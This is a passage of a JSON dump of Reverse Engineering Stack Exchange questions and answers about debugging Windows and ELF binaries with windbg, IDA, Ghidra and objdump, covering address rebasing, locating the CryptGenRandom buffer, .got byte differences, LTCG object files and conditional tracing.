want(0xFFFF) and the initial address function in IDA and windbg is not the same</p>\n<pre><code>kd&gt; u fffff8036b750000\ntcpip! WFPDatagramDataShimV4 &lt;PERF&gt; (tcpip+0x0):\nfffff803`6b750000 4d5a      pop   r10\n</code></pre>\n<p>What's the correct approach to calculate the address value dword_1C0203AB4?</p>\n",
        "Title": "how to access the initialized data in windbg through offset from IDA",
        "Tags": "|ida|windbg|",
        "Answer": "<p>I just followed the guide from blabb. In my IDA, it's Edit-&gt;Segments-&gt;Rebase program. The image base is 0x1C0000000 instead of 1C0001000. The PE has some other headers before the section headers(.text,.data etc) to provide other essential information for the OS to manage files.</p>\n<p>The command Ali gave me was not working due to <a href=\"https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide.shtml\" rel=\"nofollow noreferrer\">spec</a>. The below command should work but it didn't subtract the real image base and the output was the same as the wrong one.</p>\n<pre><code>ida_ida.inf_get_min_ea()-idc.get_screen_ea()\n</code></pre>\n"
    },
    {
        "Id": "32166",
        "CreationDate": "2023-08-12T10:24:57.820",
        "Body": "<p>I am trying to analyze the <a href=\"https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom\" rel=\"nofollow noreferrer\">CryptGenRandom</a> algorithm on my Windows 10 laptop.</p>\n<p>According to Niels Ferguson's <a href=\"https://aka.ms/win10rng\" rel=\"nofollow noreferrer\">Whitepaper</a> called 'The Windows 10 random number generation infrastructure', the CryptGenRandom algorithm uses a buffer for small requests:</p>\n<blockquote>\n<p>All PRNGs in the system are SP800-90 <code>AES_CTR_DRBG</code> with 256-bit security strength using the <code>df()</code> function for seeding and re-seeding (see SP 800-90 for details). (\u2026) The Basic PRNGs are not used directly, but rather through a wrapping layer that adds several features.</p>\n<ul>\n<li>A small buffer of random bytes to improve performance for small requests.</li>\n<li>A lock to support multi-threading.</li>\n<li><code>A</code> seed version.</li>\n</ul>\n<p>(\u2026) The buffering is straightforward. There is a small buffer (currently 128 bytes). If a request for random bytes is 128 bytes or larger, it is generated directly from <code>AES_CTR_DRGB</code>. If it is smaller than 128 bytes it is taken from the buffer. The buffer is re-filled from the <code>AES_CTR_DRBG</code> whenever it runs empty. So, if the buffer contains 4 bytes and the request is for 8 bytes, the 4 bytes are taken from the buffer, the buffer is refilled with 128 bytes, and the first 4 bytes of the refilled buffer are used to complete the request, leaving 124 bytes in the buffer.</p>\n</blockquote>\n<p>I would like to know if it is possible to locate and access this buffer.</p>\n<p>To achieve this, I located the <code>Advapi32.dll</code> file in my windows/system32 folder. The <code>CryptGenRandom</code> algorithm is defined in this file. I decompiled this file with Ghidra. However, I am very unexperienced with Ghidra and did not manage to find the buffer. Below you can see the entry function with renamed parameters:</p>\n<pre class=\"lang-c prettyprint-override\"><code>    /* WARNING: Function: _guard_dispatch_icall replaced with injection: guard_dispatch_icall */\n    /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */\n    \n    ulonglong entry(undefined8 hProv,int dwLen,longlong pbBuffer)\n    \n    {\n      byte bVar1;\n      int iVar2;\n      undefined4 extraout_var;\n      uint *puVar3;\n      undefined1 *puVar4;\n      uint uVar5;\n      uint *puVar6;\n      uint uVar7;\n      \n      if (dwLen == 1) {\n        FUN_18001d464(hProv,1);\n      }\n      uVar7 = 0;\n      if (dwLen == 1) {\n        uVar5 = 0;\n        puVar4 = &amp;DAT_1800a1008;\n        do {\n          iVar2 = RtlInitializeCriticalSection(*(undefined8 *)(puVar4 + -8));\n          if (iVar2 &lt; 0) {\n            iVar2 = FUN_180015850();\n            return CONCAT44(extraout_var,iVar2) &amp; 0xffffffffffffff00;\n          }\n          *puVar4 = 1;\n          uVar5 = uVar5 + 1;\n          puVar4 = puVar4 + 0x10;\n        } while (uVar5 &lt; 4);\n        _DAT_1800a44d4 = 1;\n      }\n      uVar5 = 1 &lt;&lt; ((byte)dwLen &amp; 0x1f);\n      puVar6 = &amp;DAT_1800a43c8;\n      bVar1 = 1;\n      puVar3 = &amp;DAT_18006a738;\n      do {\n        if (((*puVar3 &amp; uVar5) != 0) &amp;&amp;\n           ((dwLen != 0 || (((*puVar6 &amp; 2) != 0 &amp;&amp; ((pbBuffer == 0 || ((int)*puVar3 &lt; 0)))))))) {\n          bVar1 = (**(code **)(puVar3 + -2))(hProv,dwLen,pbBuffer);\n          if (bVar1 == 0) goto LAB_18002d198;\n          (&amp;DAT_1800a43c8)[(int)uVar7] = *puVar6 | uVar5;\n        }\n        uVar7 = uVar7 + 1;\n        puVar3 = puVar3 + 4;\n        puVar6 = puVar6 + 1;\n      } while (uVar7 &lt; 8);\n      if (bVar1 == 0) {\n    LAB_18002d198:\n        if (dwLen != 1) goto LAB_18001577c;\n      }\n      else {\n    LAB_18001577c:\n        if ((dwLen != 0) || (pbBuffer != 0)) goto LAB_180015785;\n      }\n      FUN_180015850();\n    LAB_180015785:\n      return (ulonglong)bVar1;\n    }\n</code></pre>\n<p>Since <code>dwLen</code> is the number of requested bytes, I would expect there to be a statement that checks whether this number is at most the number of available random bytes in the buffer. But I see no such statement. Also, <code>pbBuffer</code> is a different buffer than the one I am looking for.</p>\n<p>I hope that someone can point me in the right direction!</p>\n",
        "Title": "How can I find the buffer of CryptGenRandom?",
        "Tags": "|ida|disassembly|windows|binary-analysis|ghidra|",
        "Answer": "<p>This is not a ghidra answer but done using windbg\nAssuming You Have Code as below</p>\n<pre><code>#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#pragma comment(lib, &quot;Advapi32.lib&quot;)\nvoid hexdump(byte *inbuf, DWORD count)\n{\n    DWORD j = 0;\n    while (j &lt; count)\n    {\n        for (DWORD i = j; i &lt; j + 16; i++)\n        {\n            printf(&quot;%02x &quot;, inbuf[i]);\n        }\n        printf(&quot;\\n&quot;);\n        j = j + 16;\n    }\n}\nint main(void)\n{\n    HCRYPTPROV hCryptProv = NULL;\n    byte buff[0x200] = {0};\n    DWORD count = 0x30;\n    BOOL res = CryptAcquireContextA(&amp;hCryptProv, &quot;MyKeyContainer&quot;, NULL, PROV_RSA_FULL, 0);\n    if (res)\n    {\n        res = CryptGenRandom(hCryptProv, count, buff);\n        if (res)\n        {\n            hexdump(buff, count);\n        }\n    }\n    CryptReleaseContext(hCryptProv, 0);\n}\n</code></pre>\n<p>you can employ memory Breakpoint to find who is writing to your buffer and just corelate with your ghidra/ida disassembly.</p>\n<p>the buffers are Actually Created in Heap and the pointers to them are Written in\nbcryptprimitives!g_AesStatesTable</p>\n<pre><code>0:000&gt; lsa .\n    21:     DWORD count = 0x30;\n    22:     BOOL res = CryptAcquireContextA(&amp;hCryptProv, &quot;MyKeyContainer&quot;, NULL, PROV_RSA_FULL, 0);\n    23:     if (res)\n    24:     {\n&gt;   25:         res = CryptGenRandom(hCryptProv, count, buff); &lt;--------------\n    26:         if (res)\n    27:         {\n    28:             hexdump(buff, count);\n    29:         }\n    30:     }\n0:000&gt; ba w1 buff\n0:000&gt; g\nBreakpoint 0 hit\nntdll!memcpy+0x144:\n00007ffe`988d4044 0f100411        movups  xmm0,xmmword ptr [rcx+rdx] ds:0000027d`a4dbc500=25fc4b9c5d3ddad46e5610a21eff9e1f\n0:000&gt; k\n # Child-SP          RetAddr           Call Site\n00 000000d0`1b6ff648 00007ffe`96815400 ntdll!memcpy+0x144\n01 000000d0`1b6ff650 00007ffe`9681513c bcryptprimitives!AesRNGState_generate+0x190\n02 000000d0`1b6ff700 00007ffe`9586101d bcryptprimitives!ProcessPrng+0x12c\n03 000000d0`1b6ff7b0 00007ffe`94f054f7 CRYPTBASE!SystemFunction036+0xd\n04 000000d0`1b6ff7e0 00007ffe`958416b2 rsaenh!CPGenRandom+0x27\n05 000000d0`1b6ff810 00007ff6`f72a110f CRYPTSP!CryptGenRandom+0x42\n06 000000d0`1b6ff840 00007ff6`f72a14d4 crypt!main+0x7f [crypt.cpp @ 25] &lt;-----------\n07 (Inline Function) --------`-------- crypt!invoke_main+0x22 \n08 000000d0`1b6ffaa0 00007ffe`968a7614 crypt!__scrt_common_main_seh+0x10c \n09 000000d0`1b6ffae0 00007ffe`988826f1 KERNEL32!BaseThreadInitThunk+0x14\n0a 000000d0`1b6ffb10 00000000`00000000 ntdll!RtlUserThreadStart+0x21\n0:000&gt; ub . \nntdll!memcpy+0x126:\n00007ffe`988d4026 0f2959e0        movaps  xmmword ptr [rcx-20h],xmm3\n00007ffe`988d402a 0f28c4          movaps  xmm0,xmm4\n00007ffe`988d402d 75d1            jne     ntdll!memcpy+0x100 (00007ffe`988d4000)\n00007ffe`988d402f 4d8bc8          mov     r9,r8\n00007ffe`988d4032 49c1e904        shr     r9,4\n00007ffe`988d4036 7419            je      ntdll!memcpy+0x151 (00007ffe`988d4051)\n00007ffe`988d4038 0f1f840000000000 nop     dword ptr [rax+rax]\n00007ffe`988d4040 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0 &lt;------------- \nthis triggered the write breakpoint\n0:000&gt; r rcx\nrcx=000000d01b6ff890\n0:000&gt; ? xmm0\nEvaluate expression: 5380964661682152702 = 4aad06d9`a87ea4fe &lt;----------- \nthis is being copied from api buffer to codes buff\n\n0:000&gt; db bcryptprimitives!g_AesStatesTable l2\n00007ffe`9687b8e0  60 c0 db a4 7d 02 00 00-00 00 00 00 00 00 00 00  `...}...........\n\n0:000&gt; db poi(bcryptprimitives!g_AesStatesTable) l4\n0000027d`a4dbc060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0000027d`a4dbc070  f0 c3 db a4 7d 02 00 00-90 c2 db a4 7d 02 00 00  ....}.......}...\n\n0:000&gt; db poi(poi(bcryptprimitives!g_AesStatesTable)+10) l120\n0000027d`a4dbc3f0  30 01 00 00 00 00 00 00-00 00 00 00 00 00 00 00  0...............\n0000027d`a4dbc400  dd 1e e5 f2 c9 ec e9 b5-70 2e 3b c6 da e1 f9 59  ........p.;....Y\n0000027d`a4dbc410  f7 7d 2c 07 2d 57 ae e0-c8 5c 31 05 08 9a 10 9f  .},.-W...\\1.....\n0000027d`a4dbc420  bc 83 0c 3b 8f 11 ee 03-b0 8a 9a 7e 0e f5 c5 cd  ...;.......~....\n0000027d`a4dbc430  da 4f 77 48 92 54 98 57-12 17 ed 2b af 97 1e 88  .OwH.T.W...+.... &lt;-------\n0000027d`a4dbc440  03 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00  ................\n0000027d`a4dbc450  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0000027d`a4dbc460  80 00 00 00 00 00 00 00-39 00 00 00 00 00 00 00  ........9.......\n0000027d`a4dbc470  ff ff ff ff ff ff ff ff-fe ff ff ff 01 00 00 00  ................\n0000027d`a4dbc480  c8 2d 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .-..............\n0000027d`a4dbc490  d0 07 00 02 00 00 00 00-00 00 00 00 00 00 00 00  ................\n0000027d`a4dbc4a0  01 20 b5 34 61 da 46 2a-20 ab 63 2a 90 28 cb 36  . .4a.F* .c*.(.6\n0000027d`a4dbc4b0  51 4a dc 28 50 b5 a4 97-78 b8 13 33 e3 3c 5a 24  QJ.(P...x..3.&lt;Z$\n0000027d`a4dbc4c0  e4 6c 8d 70 7a 19 5d 5e-71 15 78 95 4b 9b 61 f2  .l.pz.]^q.x.K.a.\n0000027d`a4dbc4d0  0f 8e 0d 32 5b 39 1a 53-6b 2a 0e 47 ae e1 2a 47  ...2[9.Sk*.G..*G\n0000027d`a4dbc4e0  37 d4 d7 78 01 de 34 d8-f4 27 fe bf fb 2b 07 7a  7..x..4..'...+.z\n0000027d`a4dbc4f0  fe a4 7e a8 d9 06 ad 4a-4a 70 8a c3 57 53 54 e9  ..~....JJp..WST. &lt;-------\n0000027d`a4dbc500  1f 9e ff 1e a2 10 56 6e-d4 da 3d 5d 9c 4b fc 25  ......Vn..=].K.% &lt;--------\n</code></pre>\n<p>you need to catch this buffer before it is wiped off after memcpy\nusing SymCryptWipeAsm</p>\n<pre><code>0:000&gt; db buff\n000000d0`1b6ff880  fe a4 7e a8 d9 06 ad 4a-4a 70 8a c3 57 53 54 e9  ..~....JJp..WST.\n000000d0`1b6ff890  1f 9e ff 1e a2 10 56 6e-d4 da 3d 5d 9c 4b fc 25  ......Vn..=].K.%\n000000d0`1b6ff8a0  da 4f 77 48 92 54 98 57-12 17 ed 2b af 97 1e 88  .OwH.T.W...+....\n000000d0`1b6ff8b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n000000d0`1b6ff8c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n000000d0`1b6ff8d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n000000d0`1b6ff8e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n000000d0`1b6ff8f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................\n</code></pre>\n<p>the pertinent disassembly / decompilation in ghidra is as follows</p>\n<pre><code>in bool AesRNGState_generate(byte *param_1,byte *buff,dword dwLen)\n\n if (uVar10 &lt; 0x80) {\n    uVar2 = *(ulonglong *)(param_1 + 0x70);\n    puVar1 = (ulonglong *)(param_1 + 0x70);\n    uVar9 = uVar10;\n    if (uVar2 != 0) {\n      if (uVar2 &lt;= uVar10) {\n        uVar9 = uVar2;\n      }\n      memcpy(local_80,param_1 + (uVar2 - uVar9) + 0xb0,uVar9);\n      SymCryptWipeAsm(param_1 + ((*puVar1 + 0xb0) - uVar9),(dword)uVar9);\n      *puVar1 = *puVar1 - uVar9;\n      local_80 = pbVar8 + uVar9;\n      uVar9 = uVar10 - uVar9;\n    }\n    if (uVar9 != 0) {\n      SymCryptRngAesGenerate(param_1 + 0x10,param_1 + 0xb0,0x80);\n      *puVar1 = 0x80;\n      memcpy(local_80,param_1 + (0x130 - uVar9),uVar9);\n      SymCryptWipeAsm(param_1 + ((*puVar1 + 0xb0) - uVar9),(dword)uVar9);\n      *puVar1 = ~(ulonglong)((uint)((uVar10 - 1 ^ uVar10) &gt;&gt; 1) &amp; 0xf) &amp; *puVar1 - uVar9;\n    }\n  }\n  else {\n    SymCryptRngAesGenerate(param_1 + 0x10,buff,dwLen);\n  }\n</code></pre>\n"
    },
    {
        "Id": "32174",
        "CreationDate": "2023-08-14T20:57:33.460",
        "Body": "<p>I seriously can't tell if I'm misunderstanding something grossly or if this is a bug in objdump. Newbie alert.</p>\n<pre><code>$ objdump -s --start-address=0x3fc0 --stop-address=0x3fc1 test\n\ntest:     file format elf64-x86-64\n\nContents of section .got:\n 3fc0 00        \n                           .               \n$ xxd -s 0x3fc0 -l 1 test\n00003fc0: 50                                       P\n</code></pre>\n<p>Looking at the file with kaitai I was able to confirm that objdump is the incorrect one. This doesn't happen merely with this byte: a lot of others in the <code>.got</code> are wrong. However, the <code>.text</code> section is completely correct.</p>\n<p>It also doesn't happen only with these flags: doing <code>objdump -d -s test | less</code> shows the same bytes wrong in the same place.</p>\n<p>I'm willing to provide the binary: it is a simple <code>printf</code> for me to play with.</p>\n<p>Edit: Here is the full contents from the <code>.got</code>, obtained with <code>objdump -d -s test | less</code></p>\n<pre><code>Contents of section .got:\n 3fb0 c03d0000 00000000 00000000 00000000  .=..............\n 3fc0 00000000 00000000 30100000 00000000  ........0.......\n 3fd0 40100000 00000000 00000000 00000000  @...............\n 3fe0 00000000 00000000 00000000 00000000  ................\n 3ff0 00000000 00000000 00000000 00000000  ................\n</code></pre>\n<p>And here are the bytes at the same offset, as obtained from xxd:</p>\n<pre><code>xxd -s 0x3fb0 -l 0x50 test\n00003fb0: b03f 0000 0000 0000 b02f 0000 0000 0000  .?......./......\n00003fc0: 5000 0000 0000 0000 0000 0000 0000 0000  P...............\n00003fd0: 0800 0000 0000 0000 0800 0000 0000 0000  ................\n00003fe0: 0601 0000 0100 0000 0300 0000 0000 0000  ................\n00003ff0: 0040 0000 0000 0000 0030 0000 0000 0000  .@.......0......\n</code></pre>\n<p>Why are the values different?</p>\n",
        "Title": "ELF - Why does objdump provide a wrong byte value in the .got?",
        "Tags": "|decompilation|c|elf|x86-64|objdump|",
        "Answer": "<p>When a ELF binary is loaded each one of its sections is loaded to a Virtual Memory Address which is different than its raw offset on disk.</p>\n<p>Now, objdump shows the contents of the __got's as if it was mapped to it's virtual memory address in 0x3fc0.</p>\n<p>However, xxd would show the contents of the same address on raw disk (not mapped).</p>\n<p>You could check what is the Virtual Memory Address (VMA) of the __got by using &quot;objdump --section-headers test&quot;.</p>\n<p>Also the --start-address and --end-address switches/flags are only used for disassembling, print relocations, and print symbols according to the documentation (if I understood correctly)</p>\n"
    },
    {
        "Id": "32181",
        "CreationDate": "2023-08-16T14:43:35.117",
        "Body": "<p><a href=\"https://learn.microsoft.com/en-us/archive/msdn-magazine/2002/may/under-the-hood-link-time-code-generation\" rel=\"nofollow noreferrer\">This</a> Microsoft article states that:</p>\n<blockquote>\n<p>When building with LTCG, the compiler front end doesn't invoke the\nback end. Instead, it emits an OBJ file with IL in it. It bears\nrepeating: this IL is not the same IL that the .NET runtime uses.\nWhile .NET IL is standardized and documented, the IL used with LTCG is\nundocumented and subject to change from version to version of the\ncompiler.</p>\n</blockquote>\n<p>... and concludes:</p>\n<blockquote>\n<p>OBJ files produced when using LTCG aren't standard COFF format OBJs.\nAgain, this isn't a problem for most people, but if you examine OBJ\nfiles with tools like dumpbin, you're simply out of luck\u2014it won't\nwork.</p>\n</blockquote>\n<p>Are there - by now - any tools that let me disassemble the code inside these &quot;IL .obj&quot; files and let me access things like symbols, relocation tables, etc.? Even IDA Pro seems to have problems with these kind of files. It identifies them as &quot;COFF (Microsoft CIL bytecode)&quot; and doesn't show any meaningful disasembly...</p>\n",
        "Title": "Tool to analyze .obj files (not COFF) created with /LTCG",
        "Tags": "|ida|windows|compiler-optimization|object-code|linker|",
        "Answer": "<p>I don't know of any tools that can analyze or disassemble CIL bytecode, but what you can do is to <strong>link</strong> those files and produce normal machine code. E.g. something like:</p>\n<pre><code>LINK 1.obj /force /debug /dll /out:1.dll /noentry \n</code></pre>\n"
    },
    {
        "Id": "32196",
        "CreationDate": "2023-08-21T18:35:41.820",
        "Body": "<p>I'm trying to figure out how the below windbg extension works</p>\n<pre><code>!ndiskd.nbl  addr  -hexcap(or -data)\n</code></pre>\n<pre><code>kd&gt; !ndiskd.nbl ffffce8c96bde070 -hexcap\n# NET_BUFFER_LIST    ffffce8c96bde070\n# NET_BUFFER     ffffce8c96bde1f0\n# MDL    ffffce8c96bde2c8\n00000000       30 39 20 b1 97 42 11 bb 00 00 20 b2 60 12 ff 70\n00000010       34 b7 00 00\n</code></pre>\n<p>This looks quite fine because it starts with the header. The address is ffffce8c96bde3f4. But I'm unable to find or compute the value with elements in the structures. So I take a deep look at associated structs.</p>\n<pre><code>NET_BUFFER_LIST\n   +0x000 Next             : NULL\n   +0x008 FirstNetBuffer   : Oxffffce8c'96bde1f0\n   +0x000 Link             : _SLIST_HEADER\n   +0x000 NetBufferListHeader : _NET_BUFFER_LIST_HEADER\n   +0x010 Context          : Oxffffce8c'96bde2a0 _NET_BUFFER_LIST_CONTEXT\n   +0x018 ParentNetBufferList : NULL\n   +0x020 NdisPoolHandle   : ...\n   +0x030 NdisReserved     : ...\n   +0x040 ProtocolReserved : ...\n   +0x060 MiniportReserved : ...\n   +0x070 Scratch          : ...\n   +0x078 SourceHandle     : ...\n   +0x080 NblFlags         : ...\n   +0x084 ChildRefCount    : ...\n   +0x088 Flags            : ...\n   +0x08c Status           : ...\n   +0x08c NdisReserved2    : ...\n   +0x090 NetBufferListInfo : ...\n</code></pre>\n<p>FirstNetBuffer. The MDL is where system store data</p>\n<pre><code>NET_BUFFER\n   +0x000 Next             : NULL\n   +0x008 CurrentMdl       : ffffce8c96bde2c8\n   +0x010 CurrentMdlOffset : 0xec\n   +0x018 DataLength       : 0x14\n   +0x018 stDataLength     : 0x14   //The length, in bytes, of the used data space in the MDL chain\n   +0x020 MdlChain         : ffffce8c96bde2c8\n   +0x028 DataOffset       : 0xec\n   +0x000 Link             : _SLIST_HEADER\n   +0x000 NetBufferHeader  : _NET_BUFFER_HEADER\n   +0x030 ChecksumBias     : ...\n   +0x032 Reserved         : ...\n   +0x038 NdisPoolHandle   : ...\n   +0x040 NdisReserved     : ...\n   +0x050 ProtocolReserved : ...\n   +0x080 MiniportReserved : ...\n   +0x0a0 DataPhysicalAddress : ...\n   +0x0a8 SharedMemoryInfo : ...\n   +0x0a8 ScatterGatherList : ...\n</code></pre>\n<p>CurrentMdl</p>\n<pre><code>MDL \n   +0x000 Next             : NULL\n   +0x008 Size             : 0n56\n   +0x00a MdlFlags         : 0n4\n   +0x00c AllocationProcessorNumber : ...\n   +0x00e Reserved         : ...\n   +0x010 Process          : Ptr64 _EPROCESS\n   +0x018 MappedSystemVa   : Oxffffce8c'96bde308\n   +0x020 StartVa          : Oxffffce8c'96bde000\n   +0x028 ByteCount        : 0x100\n   +0x02c ByteOffset       : 0x308\n</code></pre>\n<p>OK. Now from MDL I know that system allocates 0x100 bytes for the data. And the first around 0x70 are 0s which is normal. Like I said the data starts with ffffce8c96bde3f4, if I use the Mdloffset(ec) and currentMdl(ffffce8c96bde2c8), I get ffffce8c96bde3b4. The difference is 0x40. But with all the values, I don't know where the 0x40 comes from. What might be the problem?</p>\n",
        "Title": "unable to figure out how a windbg extension work",
        "Tags": "|windows|windbg|",
        "Answer": "<p>The buffer is printed from CurrentMdl-&gt;MappedSystemVa+CurrentMdlOffset upto Size-CurrentOffset</p>\n<p>When there is an MDLChain the data is printed for all Next-&gt;MappedSystemVa</p>\n<p>And when posting output from windbg do not edit and insert your own address in the first dump the address starts from 0 but it should start from 308+ec == 3f4</p>\n<p>I could have answered this earlier if i saw 3f4 i was not sure how 00000000 came there so i had to verify before posting</p>\n<p>The output from !nbl xxxx -data  actually outputs the correct address not some 0x00000000</p>\n<p>a sample output</p>\n<pre><code>0: kd&gt; .lastevent\nLast event: Hit breakpoint 0\n  \n0: kd&gt; r\nndis!NdisSendNetBufferLists:\nfffff802`373b2460 44894c2420      mov     dword ptr [rsp+20h],r9d ss:0018:fffff802`38077048=00000000\n\n0: kd&gt; !nbl @rdx -data\nNET_BUFFER ffffcb8dc6f83600\n  MDL ffffcb8dc65f1180\n    ffffcb8dc65f11e2  33 33 00 00 00 16 00 0c-29 45 de 6c 86 dd 60 00  33\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7)E\u00b7l\u00b7\u00b7`\u00b7\n    ffffcb8dc65f11f2  00 00 00 24 00 01 fe 80-00 00 00 00 00 00 db 08  \u00b7\u00b7\u00b7$\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\n    ffffcb8dc65f1202  d6 ac 7c b4 bc 33 ff 02-00 00 00 00 00 00 00 00  \u00b7\u00b7|\u00b7\u00b73\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\n    ffffcb8dc65f1212  00 00 00 00 00 16                                \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\n  MDL ffffcb8dc72e9a40\n    ffffcb8dc65f10ae  3a 00 05 02 00 00 01 00-8f 00 c9 83 00 00 00 01  :\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\n    ffffcb8dc65f10be  04 00 00 00 ff 02 00 00-00 00 00 00 00 00 00 01  \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\n    ffffcb8dc65f10ce  ff b4 bc 33                                      \u00b7\u00b7\u00b73\n</code></pre>\n<p>set up a Pseudo Register for ease of use</p>\n<pre><code>0: kd&gt; r? $t1 = ((ndis!_NET_BUFFER_LIST *)@rdx)-&gt;FirstNetBuffer\n</code></pre>\n<p>address of First Buffer</p>\n<pre><code>0: kd&gt; ? @@c++(@$t1-&gt;CurrentMdl-&gt;MappedSystemVa) + @@c++(@$t1-&gt;CurrentMdlOffset)\nEvaluate expression: -57665197764126 = ffffcb8d`c65f11e2\n</code></pre>\n<p>address of Second Buffer</p>\n<pre><code>0: kd&gt; ? @@c++(@$t1-&gt;MdlChain-&gt;Next-&gt;MappedSystemVa)\nEvaluate expression: -57665197764434 = ffffcb8d`c65f10ae\n</code></pre>\n"
    },
    {
        "Id": "32200",
        "CreationDate": "2023-08-23T17:31:41.427",
        "Body": "<p>I'm using windbg to find the memory of a specific structure in windows. The way is to look at certain values stored in stack and registers in entry function. I notice that register ax holds that value when the program executes one instruction(So I have the address of that instruction). I assume that the value of ax is passed from the address of that structure and my job is to find the address of that instruction. The problem is that the assembly in IDA is very different from the assembly(use u command) in windbg. Thus, I'm unable to target the location from pseudocode in IDA and comparison between assembly in windbg and IDA.</p>\n<pre><code>assembly\n0000 function start(set break point)\n...\n...\nsome instructions without bp\n010f instruction A(where ax already holds the value. set break point)\n</code></pre>\n<p>One very straight approach is to stop the machine when ax has the value I want. But there is no straight approach in windbg. Maybe like Thomas <a href=\"https://stackoverflow.com/questions/73927117/windbg-breakpoint-on-a-register-value\">said</a> there are other ways. So I try to use j and t command in windbg.</p>\n<pre><code>j(@ax=x) 'p';'r;r ax;r rip'\n</code></pre>\n<p>With above command with bp, I can set conditional break point in certain address. But this infeasible since there are too many instructions and windbg has bp limits.</p>\n<p>In <a href=\"https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-a-conditional-breakpoint\" rel=\"nofollow noreferrer\">documentation</a> ,t command can execute many instructions and display values of registers. Since ax is not displayed in r command, I can track rax instead. How should I write my command in this form?</p>\n<pre><code>t [r] [= StartAddress] [Count] [&quot;Command&quot;] \n</code></pre>\n<p>The StartAddress should be the entry function. But what about the count? I don't want to view thousands of output but it may not reach to instruction A if count is not big enough. How to solve this problem? Can I just use a big enough value and set bp at instruction A?</p>\n<p>Update:\nI managed to print all the instructions that have been executed since the entry function with ta command. But still too many instructions for me. I can only save the output to some files and find the location by string operation with C.</p>\n",
        "Title": "how to stop windbg when register value changes",
        "Tags": "|windows|windbg|",
        "Answer": "<p>well if you really need to trace each execution just looking for a value in some register and willing to spend the time you can run a script recursively on each instruction</p>\n<p>it is very time consuming and is equivalent to setting the trap flag on each instruction</p>\n<p>here is how you do it\nusing the same example code in an earlier answer</p>\n<pre><code>int main (void)\n{\n    unsigned long a = 0;\n    unsigned char b =1;\n    while (a &lt; 0xffffffff) {\n        a=a+b;\n    }\n    return a;\n}\n</code></pre>\n<p>write a script file loopy.wds with contents like this</p>\n<pre><code>.if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n</code></pre>\n<p>when reached the main function i save the current time</p>\n<pre><code>0:000&gt; r $t1 = @$dbgtime\n0:000&gt; ? @$t1\nEvaluate expression: 133374252215057636 = 01d9d72c`fd763ce4\n</code></pre>\n<p>and start single stepping using</p>\n<pre><code>0:000&gt; t &quot;$&lt;d:\\\\loopy.wds&quot;\n</code></pre>\n<p>it will keep on  tracing every instruction until the register eax holds 0x1001</p>\n<pre><code>0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\n</code></pre>\n<p>it will stop only when eax = 0x1001</p>\n<pre><code>0:000&gt; .if (@eax == 0x1001) {} .else {t &quot;$&lt;d:\\\\loopy.wds&quot;}\nloopy!main+0x27:\n00000001`40001027 ebe7            jmp     loopy!main+0x10 (00000001`40001010)\n0:000&gt; ? @$t1\nEvaluate expression: 133374252215057636 = 01d9d72c`fd763ce4\n0:000&gt; ? @$dbgtime\nEvaluate expression: 133374255572685217 = 01d9d72d`c59791a1\n0:000&gt; ? @$dbgtime - @$t1\nEvaluate expression: 3563614608 = 00000000`d4687190\n0:000&gt; r rax\nrax=0000000000001001\n0:000&gt; dv\n              b = 0x01 ''\n              a = 0x1001\n0:000&gt; .load kdexts\n\n0:000&gt; 0: kd&gt; !filetime 01d9d72c`fd763ce4\n0:000&gt;  8/25/2023 13:50:21.505 (unknown)\n0:000&gt; 0: kd&gt; !filetime 01d9d72d`c59791a1\n0:000&gt;  8/25/2023 13:55:57.268 (unknown)\n0:000&gt; 0: kd&gt; !filetime 00000000`d4687190\n0:000&gt;  1/ 1/1601 05:35:56.361 (unknown)  &lt;&lt;&lt;&lt; \nit took about 5 minutes to trace until eax became 0x10001 from 0x0\n</code></pre>\n"
    },
    {
        "Id": "32201",
        "CreationDate": "2023-08-24T08:09:29.683",
